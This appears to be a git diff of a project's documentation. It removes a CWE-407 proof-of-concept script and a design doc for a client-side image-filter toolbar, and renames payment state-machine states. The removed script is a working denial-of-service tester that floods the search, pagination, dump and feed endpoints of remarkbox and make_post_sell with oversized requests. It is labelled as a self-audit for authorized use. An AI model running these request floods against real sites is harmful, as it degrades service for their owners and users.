accent; **read rows stay in the list** but fade to `opacity: 0.65`
so the unread set visually dominates.
- **Mark-read endpoints**:
- `POST /u/notifications/{id}/read` — single row
- `POST /u/notifications/read-all` — bulk-dismiss all unread
## Read semantics (important)
Marking a notification read **does not delete it**. The row stays in
the DB and stays in the list, just less prominent. The unread *count*
drops because `count_unread_notifications` filters
`read == False`. This was explicit feedback from fox: users want a
permanent audit log of every event, not a self-emptying inbox.
## Non-fatal by design
Every notification persist is wrapped in `_safe_add` — if the DB
write fails the exception is logged but the HTTP response (and the
corresponding email send) is not interrupted. The same pattern applies
to the email-side `_safe_email` wrapper. Notification persist and
email send are now **independent**: an SMTP outage cannot block
notification creation (and vice versa).

241
docs/poc-cwe407.py
View file

@ -1,241 +0,0 @@
#!/usr/bin/env python3
"""
CWE-407 Proof-of-Concept — Algorithmic Complexity DoS
Target: remarkbox, make_post_sell
Usage:
python3 poc-cwe407.py <base_url> <test_name>
Tests:
rbox-search remarkbox /search keyword bomb (unauthenticated)
rbox-page remarkbox ?page= offset bomb (unauthenticated)
rbox-dump remarkbox /ns/{ns}/dump.json full-namespace dump
mps-search make_post_sell /search keyword bomb (unauthenticated)
mps-sitemap make_post_sell /sitemap.xml repeated fetch
Each test measures wall-clock response time and prints a scaling table.
A 10x slowdown vs baseline = confirmed CWE-407 impact.
AUTHORIZED USE ONLY. Run against your own staging/dev instance.
"""
import sys
import time
import statistics
import urllib.request
import urllib.parse
import urllib.error
# ---------------------------------------------------------------------------
# helpers
# ---------------------------------------------------------------------------
def get(url, timeout=60):
"""Return (status_code, elapsed_seconds, response_body_length)."""
t0 = time.monotonic()
try:
with urllib.request.urlopen(url, timeout=timeout) as resp:
body = resp.read()
elapsed = time.monotonic() - t0
return resp.status, elapsed, len(body)
except urllib.error.HTTPError as e:
elapsed = time.monotonic() - t0
return e.code, elapsed, 0
except Exception as e:
elapsed = time.monotonic() - t0
return 0, elapsed, 0
def table_row(label, status, elapsed, body_len):
print(f" {label:<40s} HTTP {status} {elapsed:6.2f}s {body_len:>8d} bytes")
def header(title):
print()
print("=" * 70)
print(f" {title}")
print("=" * 70)
print(f" {'payload':<40s} {'status':<9s} {'time':>6s} {'body':>13s}")
print("-" * 70)
# ---------------------------------------------------------------------------
# PoC 1 — remarkbox keyword bomb
# ---------------------------------------------------------------------------
def rbox_search(base):
"""
GET /search?keywords=<N repeated tokens>
Each token fires a full ILIKE table scan on Node.data.
No limit on token count or result set.
Expected: response time grows roughly linearly with keyword count.
A 100-keyword query should be ~100x slower than a 1-keyword query.
"""
header("rbox-search remarkbox /search keyword bomb [UNAUTH]")
url = base.rstrip("/") + "/search"
# baseline: 1 keyword
for n_keywords in [1, 5, 10, 25, 50, 100, 200, 500]:
# use a common substring that will match many nodes
keywords = " ".join(["the"] * n_keywords)
qs = urllib.parse.urlencode({"keywords": keywords})
full_url = f"{url}?{qs}"
status, elapsed, body_len = get(full_url)
table_row(f"{n_keywords} keyword(s) 'the'", status, elapsed, body_len)
print()
print(" NOTE: if elapsed scales with keyword count → confirmed CWE-407")
print(f" PoC URL (500 keywords):")
keywords = " ".join(["the"] * 500)
qs = urllib.parse.urlencode({"keywords": keywords})
print(f" {url}?{qs[:120]}...")
# ---------------------------------------------------------------------------
# PoC 2 — remarkbox page offset bomb
# ---------------------------------------------------------------------------
def rbox_page(base):
"""
GET /ns/{namespace}?page=<N>
Offset-based pagination translates to: LIMIT 100 OFFSET (N-1)*100
SQLite must scan and discard (N-1)*100 rows before returning anything.
Expected: response time grows with page number.
"""
header("rbox-page remarkbox ?page= offset bomb [UNAUTH]")
# need a namespace — try the domain itself as the namespace (remarkbox's
# canonical namespace is usually the domain name)
ns = urllib.parse.urlparse(base).hostname or "remarkbox.com"
url = base.rstrip("/") + f"/ns/{ns}"
for page in [1, 10, 100, 1000, 10000, 100000, 1000000]:
full_url = f"{url}?page={page}"
status, elapsed, body_len = get(full_url)
table_row(f"page={page}", status, elapsed, body_len)
print()
print(" NOTE: if elapsed grows with page number → confirmed offset DoS")
print(f" PoC URL: {url}?page=9999999")
# ---------------------------------------------------------------------------
# PoC 3 — remarkbox namespace dump
# ---------------------------------------------------------------------------
def rbox_dump(base):
"""
GET /ns/{namespace}/dump.json
Iterates every root node and every child node in the namespace,
builds a Python dict, JSON-serializes the whole thing.
No pagination, no limit.
Expected: response time and body size proportional to node count.
"""
header("rbox-dump remarkbox /ns/{ns}/dump.json [UNAUTH]")
ns = urllib.parse.urlparse(base).hostname or "remarkbox.com"
url = base.rstrip("/") + f"/ns/{ns}/dump.json"
times = []
for i in range(5):
status, elapsed, body_len = get(url)
times.append(elapsed)
table_row(f"request #{i+1}", status, elapsed, body_len)
if times:
print(f"\n median={statistics.median(times):.2f}s max={max(times):.2f}s")
print(f" PoC URL: {url}")
print(" Scale: add more nodes to namespace to increase impact")
# ---------------------------------------------------------------------------
# PoC 4 — make_post_sell search keyword bomb
# ---------------------------------------------------------------------------
def mps_search(base):
"""
GET /search?keywords=<N tokens>
Per token: SELECT * FROM mps_product WHERE title ILIKE '%token%'
No LIMIT. Results accumulate in Python list, then sorted.
Expected: linear degradation with keyword count.
"""
header("mps-search make_post_sell /search keyword bomb [UNAUTH]")
url = base.rstrip("/") + "/search"
for n_keywords in [1, 5, 10, 25, 50, 100, 200]:
keywords = " ".join(["a"] * n_keywords)
qs = urllib.parse.urlencode({"keywords": keywords})
full_url = f"{url}?{qs}"
status, elapsed, body_len = get(full_url)
table_row(f"{n_keywords} keyword(s) 'a'", status, elapsed, body_len)
print()
print(" NOTE: 'a' matches most product titles → large result sets per keyword")
print(f" PoC URL (200 keywords):")
keywords = " ".join(["a"] * 200)
qs = urllib.parse.urlencode({"keywords": keywords})
print(f" {url}?{qs[:120]}...")
# ---------------------------------------------------------------------------
# PoC 5 — make_post_sell sitemap repeated fetch
# ---------------------------------------------------------------------------
def mps_sitemap(base):
"""
GET /sitemap.xml
Fetches ALL public products from ALL shops, generates XML.
No LIMIT. Unbounded shop/product scan.
Expected: large shops show proportionally slow responses.
Amplification: 3 feed endpoints hit the same unbounded query.
"""
header("mps-sitemap make_post_sell feed endpoints [UNAUTH]")
endpoints = ["/sitemap.xml", "/rss.xml", "/atom.xml", "/feed.xml", "/feed.rss", "/feed.atom"]
for ep in endpoints:
url = base.rstrip("/") + ep
status, elapsed, body_len = get(url)
table_row(ep, status, elapsed, body_len)
print()
print(" Each endpoint runs the same unbounded product query.")
print(" Hitting all 6 in rapid succession = 6x database scan load.")
# ---------------------------------------------------------------------------
# dispatch
# ---------------------------------------------------------------------------
TESTS = {
"rbox-search": rbox_search,
"rbox-page": rbox_page,
"rbox-dump": rbox_dump,
"mps-search": mps_search,
"mps-sitemap": mps_sitemap,
}
if __name__ == "__main__":
if len(sys.argv) < 3:
print(__doc__)
print("Available tests:", ", ".join(TESTS))
sys.exit(1)
base_url = sys.argv[1]
test_name = sys.argv[2]
if test_name == "all":
for fn in TESTS.values():
fn(base_url)
elif test_name in TESTS:
TESTS[test_name](base_url)
else:
print(f"Unknown test: {test_name}")
print("Available:", ", ".join(TESTS))
sys.exit(1)
print()
print("Done.")

372
docs/sandbox-mode.md
View file

@ -1,372 +0,0 @@
# Sandbox Mode: Creative Filter System
Client-side creative toolkit for MPS shops. When a shop owner enables sandbox
mode, all visitors see a floating filter toolbar. Users can apply real-time
CSS/SVG/canvas filters to images and video, export filtered artifacts, and
activate face detection overlays. All processing runs in the browser. The
server stores only the boolean toggle.
## Architecture
```
┌──────────────────────────────────────────────────────────┐
│ Browser (client) │
│ │
│ ┌─────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ CSS Filters │ │ Canvas Export │ │ MediaPipe │ │
│ │ (live view) │──>│ (artifacts) │ │ Face Mesh │ │
│ │ │ │ │ │ (on-demand) │ │
│ │ 32 presets │ │ ctx.filter │ │ 468 landmarks│ │
│ │ 7 sliders │ │ toBlob() │ │ eye glow │ │
│ │ SVG filters │ │ MediaRecorder│ │ face mask │ │
│ └──────┬───────┘ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │ │
│ │ ┌─────┴─────┐ │ │
│ │ │ Download │ │ │
│ │ │ or Upload │ │ │
│ │ │ (presign) │ │ │
│ │ └───────────┘ │ │
│ │ │ │
│ ┌──────┴──────────────────────────────────────┴───────┐ │
│ │ sandbox.js (IIFE, ~700 lines) │ │
│ │ localStorage persistence │ window.sandboxReapply │ │
│ └─────────────────────────────────────────────────────┘ │
│ │
└────────────────────────────┬──────────────────────────────┘
│
┌────────┴────────┐
│ MPS Server │
│ │
│ shop.sandbox │
│ _mode = True │
│ │
│ (that's it. │
│ server stores │
│ one boolean.) │
└─────────────────┘
```
## Filter Pipeline
```
User clicks preset User adjusts slider
│ │
▼ ▼
┌─────────────┐ ┌──────────────────┐
│ PRESETS[idx] │ │ sliderValues[id] │
│ .css string │ │ → fn(val+unit) │
└──────┬──────┘ └────────┬─────────┘
│ │
└────────────┬─────────────┘
│
▼
┌──────────────────┐
│ getCurrentFilter │ CSS filter string:
│ CSS() │──> "sepia(40%) contrast(90%)
└──────────────────┘ brightness(105%) saturate(80%)"
│
▼
┌──────────────────┐
│ element.style │ Applied to: img, video
│ .filter = css │ (NOT <html> — stacks with
└──────────────────┘ shop color_filter)
```
## Export Pipeline
### Image Export
```
img.product-main
│
▼
new Image()
crossOrigin = "anonymous" ← CORS required from CDN
│
▼
canvas.getContext("2d")
ctx.filter = getCurrentFilterCSS()
ctx.drawImage(img, 0, 0)
│
▼
canvas.toBlob("image/png")
│
├──> Download (a.download = "sandbox-export.png")
│
└──> Upload (presigned POST to user's S3 bucket)
```
### Video Export
```
video element
│
▼
canvas.captureStream(30fps)
│
▼
MediaRecorder(stream, "video/webm")
│
▼
requestAnimationFrame loop:
ctx.filter = getCurrentFilterCSS()
ctx.drawImage(video, 0, 0)
│
▼
recorder.stop() → Blob
│
└──> Download ("sandbox-export.webm")
```
## Face Detection Pipeline (MediaPipe)
```
User clicks "Load Face Detection"
│
▼
Load face_mesh.js from CDN (~4MB WASM)
Load camera_utils.js from CDN
│
▼
FaceMesh({ maxNumFaces: 4, refineLandmarks: true })
│
│
┌────┴────────────────────┐
│ │
▼ ▼
Image path Video path
│ │
draw to canvas Camera utility
faceMesh.send() onFrame → send()
│ │
▼ ▼
onResults(landmarks) onResults(landmarks)
│ │
└────────┬────────────────┘
│
▼
468 face landmarks per face
│
┌──────┴──────┐
│ │
▼ ▼
Eye Glow Face Mask
│ │
│ Iris │ Face outline
│ landmarks │ (landmarks
│ 468-477 │ 10,338,297...)
│ │
│ Radial │ Fill face oval
│ gradient │ Draw eye shapes
│ overlay │ Draw eyebrows
│ │ Draw mustache
│ │ Draw goatee
▼ ▼
Canvas overlay composited
on top of media element
```
## Filter Preset Reference
### Basic (4)
| Name | CSS Filter Chain |
|------|-----------------|
| None | `none` |
| Grayscale | `grayscale(100%)` |
| Sepia | `sepia(100%)` |
| Invert | `invert(100%)` |
### Warm (4)
| Name | CSS Filter Chain |
|------|-----------------|
| Warm | `sepia(30%) saturate(140%) brightness(105%)` |
| Sunset | `sepia(50%) hue-rotate(-15deg) saturate(150%)` |
| Golden | `sepia(60%) brightness(110%) contrast(90%)` |
| Amber | `sepia(40%) saturate(160%) hue-rotate(-10deg) brightness(108%)` |
### Cool (4)
| Name | CSS Filter Chain |
|------|-----------------|
| Cool | `sepia(20%) hue-rotate(180deg) saturate(120%)` |
| Arctic | `sepia(30%) hue-rotate(200deg) brightness(110%)` |
| Moonlight | `sepia(40%) hue-rotate(220deg) saturate(80%) brightness(105%)` |
| Frost | `sepia(25%) hue-rotate(190deg) brightness(115%) contrast(95%)` |
### Dramatic (4)
| Name | CSS Filter Chain |
|------|-----------------|
| Hi-Contrast | `contrast(180%) saturate(120%)` |
| Noir | `grayscale(100%) contrast(150%) brightness(90%)` |
| Faded | `contrast(80%) saturate(60%) brightness(110%)` |
| Vintage | `sepia(40%) contrast(90%) brightness(105%) saturate(80%)` |
### Color (5)
| Name | CSS Filter Chain |
|------|-----------------|
| Red Shift | `sepia(100%) hue-rotate(-30deg) saturate(300%)` |
| Green Shift | `sepia(100%) hue-rotate(85deg) saturate(300%)` |
| Blue Shift | `sepia(100%) hue-rotate(200deg) saturate(300%)` |
| Purple Haze | `sepia(100%) hue-rotate(265deg) saturate(200%)` |
| Cyan | `sepia(100%) hue-rotate(145deg) saturate(300%)` |
### Instagram-Style (7)
| Name | CSS Filter Chain |
|------|-----------------|
| Clarendon | `contrast(120%) saturate(125%)` |
| Juno | `sepia(10%) contrast(110%) saturate(150%) brightness(105%)` |
| Lark | `contrast(90%) brightness(115%) saturate(85%)` |
| Gingham | `brightness(105%) hue-rotate(350deg) saturate(80%)` |
| Nashville | `sepia(25%) contrast(120%) brightness(105%) saturate(120%) hue-rotate(-15deg)` |
| Valencia | `sepia(15%) contrast(110%) brightness(108%) saturate(120%)` |
| Walden | `brightness(110%) saturate(160%) sepia(30%) hue-rotate(350deg)` |
### SVG Filters (4)
| Name | Applied As |
|------|-----------|
| Duo Blue | `url(#sandbox-duotone-blue)` — SVG feColorMatrix |
| Duo Green | `url(#sandbox-duotone-green)` — SVG feColorMatrix |
| Film Grain | `url(#sandbox-grain)` — SVG feTurbulence + feBlend |
| Vignette | `url(#sandbox-vignette)` — SVG feFlood + feGaussianBlur |
## Adjustment Sliders
| Slider | Range | Default | CSS Function |
|--------|-------|---------|-------------|
| Brightness | 0-200% | 100% | `brightness()` |
| Contrast | 0-200% | 100% | `contrast()` |
| Saturation | 0-300% | 100% | `saturate()` |
| Hue | 0-360deg | 0deg | `hue-rotate()` |
| Blur | 0-20px | 0px | `blur()` |
| Sepia | 0-100% | 0% | `sepia()` |
| Grayscale | 0-100% | 0% | `grayscale()` |
## Shop Owner Configuration
Enable in **Shop Settings > Announcement Ribbon Settings** (the form section
that contains display toggles):
```
Settings > ribbon-settings form section > Sandbox Mode > Enable/Disable
```
The toggle adds `sandbox_mode = True` to the shop model. The base template
conditionally renders the toolbar HTML, SVG filter definitions, and loads
`sandbox.js` only when enabled.
## Watch Mode SPA Integration
When watch mode is enabled, SPA navigation replaces media elements without a
full page reload. The `updatePageContent()` function in `watch.js` calls
`window.sandboxReapply()` after swapping DOM elements. This re-applies the
active sandbox filter to newly loaded images and video with a 50ms delay to
let the DOM settle.
## CORS Requirements for Canvas Export
CSS filter preview works without CORS — filters are applied as rendering hints
on the element. Canvas export (toBlob) requires pixel access, which requires
CORS headers from the CDN.
DigitalOcean Spaces CORS configuration needed:
```json
{
"CORSRules": [{
"AllowedOrigins": ["*"],
"AllowedMethods": ["GET"],
"AllowedHeaders": ["*"],
"MaxAgeSeconds": 3600
}]
}
```
Without CORS, the export button shows a user-friendly error message. Filter
preview continues to work normally.
## localStorage Keys
| Key | Value | Purpose |
|-----|-------|---------|
| `mps_sandbox_preset` | Integer (0-31) | Active preset index |
| `mps_sandbox_sliders` | JSON object | Slider values |
| `mps_sandbox_panel` | "0" or "1" | Panel open/closed |
| `mps_sandbox_mode` | "preset" or "custom" | Filter mode |
## Artifact Storage (User S3 Bucket)
Users can configure their own S3-compatible bucket to upload sandbox artifacts.
```
User Settings (/u/settings)
│
│ Artifact Storage form:
│ - S3 Endpoint URL
│ - Region (optional)
│ - Bucket Name
│ - Access Key
│ - Secret Key
│
▼
POST /u/settings/storage
│
│ Saves credentials on User model
│ (s3_endpoint, s3_region, s3_bucket,
│ s3_access_key, s3_secret_key)
│
▼
Sandbox toolbar shows "Upload to Bucket" button
│ (only when data-has-bucket="1")
│
│ 1. User exports image/video (download)
│ 2. User clicks "Upload to Bucket"
│ 3. JS POSTs to /u/sandbox/upload
│ 4. Server generates presigned POST with user's credentials
│ 5. JS uploads blob directly to user's S3 bucket
│
▼
User's S3 Bucket
sandbox/{user_id}/{timestamp}-{filename}
```
**Supported services:** DigitalOcean Spaces, AWS S3, MinIO, Backblaze B2,
any S3-compatible endpoint.
**Security:** Credentials stored as plain Unicode columns (same pattern as
Stripe/PayPal/Adyen keys on Shop model). Secret key field uses `type="password"`
in the form.
## Files
| File | Role |
|------|------|
| `models/shop.py` | `sandbox_mode` Boolean column |
| `models/user.py` | S3 credential columns + `has_s3_bucket` property |
| `views/shop.py` | Toggle handler in ribbon-settings |
| `views/user.py` | Storage settings POST handler + S3 fields in settings dict |
| `views/user_sandbox.py` | Presigned upload endpoint (`/u/sandbox/upload`) |
| `templates/shop_settings.j2` | Radio buttons for enable/disable |
| `templates/user_settings.j2` | Artifact Storage form |
| `templates/base.j2` | Conditional toolbar HTML + SVG defs + `data-has-bucket` |
| `static/js/sandbox.js` | Client-side filter engine + upload-to-bucket |
| `static/css/common.css` | Toolbar layout (CSS Grid) |
| `static/js/watch.js` | `sandboxReapply()` hook in SPA navigation |
| `routes.py` | `user_storage_settings`, `user_sandbox_upload` routes |
| `scripts/alembic/versions/a2c13d3117f2_*.py` | Shop sandbox_mode migration |
| `scripts/alembic/versions/f898ba460612_*.py` | User S3 credentials migration |
## Mobile Behavior
On screens `max-width: 800px`:
- Toggle button: bottom-right corner (10px offset)
- Panel: full-width (10px margin left + right)
- Max height: 50vh (scrollable)
- All controls always visible (no hover-only interactions)
- Touch targets adequate for finger tapping
## Stacking with Shop Color Filter
The shop-level `color_filter` (grayscale, red, green, blue, etc.) applies to
`<html>` via `data-color-filter` attribute. Sandbox filters apply to individual
`img` and `video` elements via `element.style.filter`. These stack: the shop
filter colors the entire page, and the sandbox filter adds per-element effects
on top. This is intentional — the two systems are independent and composable.

90
docs/state-machine.dot
View file

@ -4,61 +4,61 @@ digraph G {
edge [penwidth=1.5, fontsize=10, fontname="Arial"];
"[*]" [shape=circle, label="", width=0.2, fillcolor=black, style=filled];
"pending" [fillcolor="#e7f3ff", fontcolor="#0056b3", color="#0056b3", fontsize=12];
"doublepay-refunded" [fillcolor="#e7f3ff", fontcolor="#0056b3", color="#0056b3", fontsize=12];
"latepay-refunded" [fillcolor="#e7f3ff", fontcolor="#0056b3", color="#0056b3", fontsize=12];
"doublepay_refunded" [fillcolor="#e7f3ff", fontcolor="#0056b3", color="#0056b3", fontsize=12];
"latepay_refunded" [fillcolor="#e7f3ff", fontcolor="#0056b3", color="#0056b3", fontsize=12];
"received" [fillcolor="#cce5ff", fontcolor="#004085", color="#004085", fontsize=12];
"expired" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"cancelled" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"confirmed" [fillcolor="#d4edda", fontcolor="#155724", color="#155724", fontsize=12];
"confirmed-complete" [fillcolor="#d4edda", fontcolor="#155724", color="#155724", fontsize=12];
"confirmed-overpay" [fillcolor="#cce5ff", fontcolor="#004085", color="#004085", fontsize=12];
"underpaid-refunded" [fillcolor="#fff3cd", fontcolor="#856404", color="#856404", fontsize=12];
"out-of-stock-refunded" [fillcolor="#fff3cd", fontcolor="#856404", color="#856404", fontsize=12];
"confirmed-overpay-refunded" [fillcolor="#fff3cd", fontcolor="#856404", color="#856404", fontsize=12];
"confirmed-overpay-refunded-complete" [fillcolor="#d4edda", fontcolor="#155724", color="#155724", fontsize=12];
"confirmed-overpay-not-refunded" [fillcolor="#d4edda", fontcolor="#155724", color="#155724", fontsize=12];
"latepay-refunded-complete" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"latepay-not-refunded" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"underpaid-refunded-complete" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"underpaid-not-refunded" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"out-of-stock-refunded-complete" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"out-of-stock-not-refunded" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"doublepay-refunded-complete" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"doublepay-not-refunded" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"confirmed_complete" [fillcolor="#d4edda", fontcolor="#155724", color="#155724", fontsize=12];
"confirmed_overpay" [fillcolor="#cce5ff", fontcolor="#004085", color="#004085", fontsize=12];
"underpaid_refunded" [fillcolor="#fff3cd", fontcolor="#856404", color="#856404", fontsize=12];
"out_of_stock_refunded" [fillcolor="#fff3cd", fontcolor="#856404", color="#856404", fontsize=12];
"confirmed_overpay_refunded" [fillcolor="#fff3cd", fontcolor="#856404", color="#856404", fontsize=12];
"confirmed_overpay_refunded_complete" [fillcolor="#d4edda", fontcolor="#155724", color="#155724", fontsize=12];
"confirmed_overpay_not_refunded" [fillcolor="#d4edda", fontcolor="#155724", color="#155724", fontsize=12];
"latepay_refunded_complete" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"latepay_not_refunded" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"underpaid_refunded_complete" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"underpaid_not_refunded" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"out_of_stock_refunded_complete" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"out_of_stock_not_refunded" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"doublepay_refunded_complete" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"doublepay_not_refunded" [fillcolor="#f8d7da", fontcolor="#721c24", color="#721c24", fontsize=12];
"terminated" [shape=doubleoctagon, fillcolor="#e0e0e0", fontcolor="#333333", color="#333333", fontsize=12];
"[*]" -> "pending";
"[*]" -> "doublepay-refunded" [label="Duplicate payment detected"];
"[*]" -> "latepay-refunded" [label="Late payment detected"];
"[*]" -> "doublepay_refunded" [label="Duplicate payment detected"];
"[*]" -> "latepay_refunded" [label="Late payment detected"];
"pending" -> "received" [label="Payment detected in mempool"];
"pending" -> "expired" [label="Payment timeout (never received)"];
"pending" -> "cancelled" [label="User cancellation"];
"received" -> "confirmed" [label="Sufficient payment + confirmations"];
"received" -> "confirmed-overpay" [label="Overpayment detected"];
"received" -> "underpaid-refunded" [label="Underpayment detected"];
"received" -> "out-of-stock-refunded" [label="Product unavailable"];
"confirmed" -> "confirmed-complete" [label="Swept to cold storage"];
"confirmed-complete" -> "terminated" [label="✓ Terminal Success"];
"confirmed-overpay" -> "confirmed-overpay-refunded" [label="Initiate refund"];
"confirmed-overpay-refunded" -> "confirmed-overpay-refunded-complete" [label="Refund confirmed"];
"confirmed-overpay-refunded" -> "confirmed-overpay-not-refunded" [label="No refund wallet configured"];
"confirmed-overpay-refunded-complete" -> "terminated" [label="✓ Terminal Success"];
"confirmed-overpay-not-refunded" -> "terminated" [label="✓ Terminal Success (Not Refunded)"];
"received" -> "confirmed_overpay" [label="Overpayment detected"];
"received" -> "underpaid_refunded" [label="Underpayment detected"];
"received" -> "out_of_stock_refunded" [label="Product unavailable"];
"confirmed" -> "confirmed_complete" [label="Swept to cold storage"];
"confirmed_complete" -> "terminated" [label="✓ Terminal Success"];
"confirmed_overpay" -> "confirmed_overpay_refunded" [label="Initiate refund"];
"confirmed_overpay_refunded" -> "confirmed_overpay_refunded_complete" [label="Refund confirmed"];
"confirmed_overpay_refunded" -> "confirmed_overpay_not_refunded" [label="No refund wallet configured"];
"confirmed_overpay_refunded_complete" -> "terminated" [label="✓ Terminal Success"];
"confirmed_overpay_not_refunded" -> "terminated" [label="✓ Terminal Success (Not Refunded)"];
"expired" -> "terminated" [label="✓ Terminal Failed (Expired)"];
"latepay-refunded" -> "latepay-refunded-complete" [label="Refund confirmed"];
"latepay-refunded" -> "latepay-not-refunded" [label="No refund wallet configured"];
"latepay-refunded-complete" -> "terminated" [label="✓ Terminal Failed (Refund Complete)"];
"latepay-not-refunded" -> "terminated" [label="✓ Terminal Failed (Not Refunded)"];
"underpaid-refunded" -> "underpaid-refunded-complete" [label="Refund confirmed"];
"underpaid-refunded" -> "underpaid-not-refunded" [label="No refund wallet configured"];
"underpaid-refunded-complete" -> "terminated" [label="✓ Terminal Failed (Refund Complete)"];
"underpaid-not-refunded" -> "terminated" [label="✓ Terminal Failed (Not Refunded)"];
"out-of-stock-refunded" -> "out-of-stock-refunded-complete" [label="Refund confirmed"];
"out-of-stock-refunded" -> "out-of-stock-not-refunded" [label="No refund wallet configured"];
"out-of-stock-refunded-complete" -> "terminated" [label="✓ Terminal Failed (Refund Complete)"];
"out-of-stock-not-refunded" -> "terminated" [label="✓ Terminal Failed (Not Refunded)"];
"doublepay-refunded" -> "doublepay-refunded-complete" [label="Refund confirmed"];
"doublepay-refunded" -> "doublepay-not-refunded" [label="No refund wallet configured"];
"doublepay-refunded-complete" -> "terminated" [label="✓ Terminal Failed (Refund Complete)"];
"doublepay-not-refunded" -> "terminated" [label="✓ Terminal Failed (Not Refunded)"];
"latepay_refunded" -> "latepay_refunded_complete" [label="Refund confirmed"];
"latepay_refunded" -> "latepay_not_refunded" [label="No refund wallet configured"];
"latepay_refunded_complete" -> "terminated" [label="✓ Terminal Failed (Refund Complete)"];
"latepay_not_refunded" -> "terminated" [label="✓ Terminal Failed (Not Refunded)"];
"underpaid_refunded" -> "underpaid_refunded_complete" [label="Refund confirmed"];
"underpaid_refunded" -> "underpaid_not_refunded" [label="No refund wallet configured"];
"underpaid_refunded_complete" -> "terminated" [label="✓ Terminal Failed (Refund Complete)"];
"underpaid_not_refunded" -> "terminated" [label="✓ Terminal Failed (Not Refunded)"];
"out_of_stock_refunded" -> "out_of_stock_refunded_complete" [label="Refund confirmed"];
"out_of_stock_refunded" -> "out_of_stock_not_refunded" [label="No refund wallet configured"];
"out_of_stock_refunded_complete" -> "terminated" [label="✓ Terminal Failed (Refund Complete)"];
"out_of_stock_not_refunded" -> "terminated" [label="✓ Terminal Failed (Not Refunded)"];
"doublepay_refunded" -> "doublepay_refunded_complete" [label="Refund confirmed"];
"doublepay_refunded" -> "doublepay_not_refunded" [label="No refund wallet configured"];
"doublepay_refunded_complete" -> "terminated" [label="✓ Terminal Failed (Refund Complete)"];
"doublepay_not_refunded" -> "terminated" [label="✓ Terminal Failed (Not Refunded)"];
"cancelled" -> "terminated" [label="✓ Terminal Failed (Cancelled)"];
}

611
docs/state-machine.dot.svg
View file

@ -4,398 +4,385 @@
<!-- Generated by graphviz version 12.2.1 (20241206.2353)
-->
<!-- Title: G Pages: 1 -->
<svg width="1713pt" height="696pt"
viewBox="0.00 0.00 1712.88 696.14" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<g id="graph0" class="graph" transform="scale(1 1) rotate(0) translate(4 692.14)">
<svg width="1684pt" height="698pt"
viewBox="0.00 0.00 1684.38 697.74" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<g id="graph0" class="graph" transform="scale(1 1) rotate(0) translate(4 693.74)">
<title>G</title>
<polygon fill="white" stroke="none" points="-4,4 -4,-692.14 1708.88,-692.14 1708.88,4 -4,4"/>
<polygon fill="white" stroke="none" points="-4,4 -4,-693.74 1680.38,-693.74 1680.38,4 -4,4"/>
<!-- [*] -->
<g id="node1" class="node">
<title>[*]</title>
<ellipse fill="black" stroke="black" stroke-width="2" cx="7.2" cy="-164.41" rx="7.2" ry="7.2"/>
<ellipse fill="black" stroke="black" stroke-width="2" cx="7.2" cy="-167.91" rx="7.2" ry="7.2"/>
</g>
<!-- pending -->
<g id="node2" class="node">
<title>pending</title>
<path fill="#e7f3ff" stroke="#0056b3" stroke-width="2" d="M98.9,-264.41C98.9,-264.41 63.4,-264.41 63.4,-264.41 57.4,-264.41 51.4,-258.41 51.4,-252.41 51.4,-252.41 51.4,-240.41 51.4,-240.41 51.4,-234.41 57.4,-228.41 63.4,-228.41 63.4,-228.41 98.9,-228.41 98.9,-228.41 104.9,-228.41 110.9,-234.41 110.9,-240.41 110.9,-240.41 110.9,-252.41 110.9,-252.41 110.9,-258.41 104.9,-264.41 98.9,-264.41"/>
<text text-anchor="middle" x="81.15" y="-242.13" font-family="Arial" font-size="12.00" fill="#0056b3">pending</text>
<path fill="#e7f3ff" stroke="#0056b3" stroke-width="2" d="M98.9,-267.91C98.9,-267.91 63.4,-267.91 63.4,-267.91 57.4,-267.91 51.4,-261.91 51.4,-255.91 51.4,-255.91 51.4,-243.91 51.4,-243.91 51.4,-237.91 57.4,-231.91 63.4,-231.91 63.4,-231.91 98.9,-231.91 98.9,-231.91 104.9,-231.91 110.9,-237.91 110.9,-243.91 110.9,-243.91 110.9,-255.91 110.9,-255.91 110.9,-261.91 104.9,-267.91 98.9,-267.91"/>
<text text-anchor="middle" x="81.15" y="-245.64" font-family="Arial" font-size="12.00" fill="#0056b3">pending</text>
</g>
<!-- [*]&#45;&gt;pending -->
<g id="edge1" class="edge">
<title>[*]&#45;&gt;pending</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M13.15,-170.04C21.85,-179.96 40.45,-201.16 55.85,-218.71"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="52.82,-220.56 62.04,-225.77 58.08,-215.94 52.82,-220.56"/>
<path fill="none" stroke="black" stroke-width="1.5" d="M13.15,-173.55C21.85,-183.47 40.45,-204.67 55.85,-222.22"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="52.82,-224.07 62.04,-229.27 58.08,-219.45 52.82,-224.07"/>
</g>
<!-- doublepay&#45;refunded -->
<!-- doublepay_refunded -->
<g id="node3" class="node">
<title>doublepay&#45;refunded</title>
